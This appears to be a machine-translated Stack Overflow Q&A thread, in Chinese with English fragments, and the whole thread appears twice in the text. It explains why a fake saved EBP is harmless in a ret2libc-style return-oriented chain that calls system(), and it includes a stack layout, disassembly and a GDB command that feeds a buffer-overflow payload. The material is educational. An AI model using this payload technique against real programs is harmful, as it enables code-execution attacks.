Return 使用任意 EBP 的带参数的面向编程
Return oriented programming with arguments using arbitrary EBP
我一直在阅读 this article 关于 "Return oriented programming" 的内容,我对 "Calling arguments"
的部分有疑问
我的理解是我们需要一个格式正确的堆栈。参数和 return 我们不关心的地址。他们以这种方式设置堆栈:
| 0x8048580 <not_used> |
| 0x43434343 <fake return address> |
| 0x8048360 <address of system> |
| 0x42424242 <fake old %ebp> |
| 0x41414141 ... |
| ... (0x6c bytes of 'A's) |
| ... 0x41414141 |
其中地址 0x8048360
是我们将在损坏的函数完成后跳转到的地址,地址 0x8048580
是一个参数。
我不明白的是我们怎么会有假的EBP地址。我的理解是堆栈上的 EBP 地址在 return 从函数中弹出之前弹出,然后 EBP 用于访问参数和局部变量。如果我们将假地址放在堆栈上,system
函数是否会使用这个假 EBP 地址来访问它的参数而不成功?
wouldn't the "system" function use this fake EBP address to access it's argument without success? If we put fake address on the stack, wouldn't the "system" function use this fake EBP address to access it's argument without success?
没有。如果您覆盖 EBP 然后 真的 return 从函数到调用者 ,就会发生这种情况。由于您还覆盖了 return 地址,因此您实际上并没有 return 给调用者,而是输入了 system
。当 return 进入 system
时会发生什么:
0x0804847a <+22>: ... ; Here %ebp is still valid.
0x0804847f <+27>: leave ; Same as: mov %ebp, %esp; pop %ebp
0x08048480 <+28>: ret ; %ebp becomes invalid, but %esp is still valid.
|
v
0x08048360 <+0>: push %ebp ; Push the invalid value.
0x08048361 <+1>: mov %esp,%ebp ; Move %esp (valid) into %ebp ==> %ebp is now valid again.
这就是为什么您引用的文章说 "fake EBP",因为您并不真正关心值。只要你的函数对调用者来说不是真的return,你就没问题,你的 ROP 链将继续没有问题,因为你跳入的每个函数都会有一个序言,就像上面的一样。
您可以通过在 GDB 下启动您的程序来测试它,如下所示:
$ gdb ./program
(gdb) break *0x08048480 # address of the 'ret' instruction
(gdb) run <<< "$(python -c 'print "A"*0x6c + "BBBB" + "\x60\x83\x04\x08" + "CCCC" + "\x80\x85\x04\x08"')"
然后,当你打断点时,用disassemble $eip
命令查看你在哪里,然后继续si
(单步指令)并使用info registers
查看每条指令后寄存器的值。
我一直在阅读 this article 关于 "Return oriented programming" 的内容,我对 "Calling arguments"
的部分有疑问我的理解是我们需要一个格式正确的堆栈。参数和 return 我们不关心的地址。他们以这种方式设置堆栈:
| 0x8048580 <not_used> |
| 0x43434343 <fake return address> |
| 0x8048360 <address of system> |
| 0x42424242 <fake old %ebp> |
| 0x41414141 ... |
| ... (0x6c bytes of 'A's) |
| ... 0x41414141 |
其中地址 0x8048360
是我们将在损坏的函数完成后跳转到的地址,地址 0x8048580
是一个参数。
我不明白的是我们怎么会有假的EBP地址。我的理解是堆栈上的 EBP 地址在 return 从函数中弹出之前弹出,然后 EBP 用于访问参数和局部变量。如果我们将假地址放在堆栈上,system
函数是否会使用这个假 EBP 地址来访问它的参数而不成功?
wouldn't the "system" function use this fake EBP address to access it's argument without success? If we put fake address on the stack, wouldn't the "system" function use this fake EBP address to access it's argument without success?
没有。如果您覆盖 EBP 然后 真的 return 从函数到调用者 ,就会发生这种情况。由于您还覆盖了 return 地址,因此您实际上并没有 return 给调用者,而是输入了 system
。当 return 进入 system
时会发生什么:
0x0804847a <+22>: ... ; Here %ebp is still valid.
0x0804847f <+27>: leave ; Same as: mov %ebp, %esp; pop %ebp
0x08048480 <+28>: ret ; %ebp becomes invalid, but %esp is still valid.
|
v
0x08048360 <+0>: push %ebp ; Push the invalid value.
0x08048361 <+1>: mov %esp,%ebp ; Move %esp (valid) into %ebp ==> %ebp is now valid again.
这就是为什么您引用的文章说 "fake EBP",因为您并不真正关心值。只要你的函数对调用者来说不是真的return,你就没问题,你的 ROP 链将继续没有问题,因为你跳入的每个函数都会有一个序言,就像上面的一样。
您可以通过在 GDB 下启动您的程序来测试它,如下所示:
$ gdb ./program
(gdb) break *0x08048480 # address of the 'ret' instruction
(gdb) run <<< "$(python -c 'print "A"*0x6c + "BBBB" + "\x60\x83\x04\x08" + "CCCC" + "\x80\x85\x04\x08"')"
然后,当你打断点时,用disassemble $eip
命令查看你在哪里,然后继续si
(单步指令)并使用info registers
查看每条指令后寄存器的值。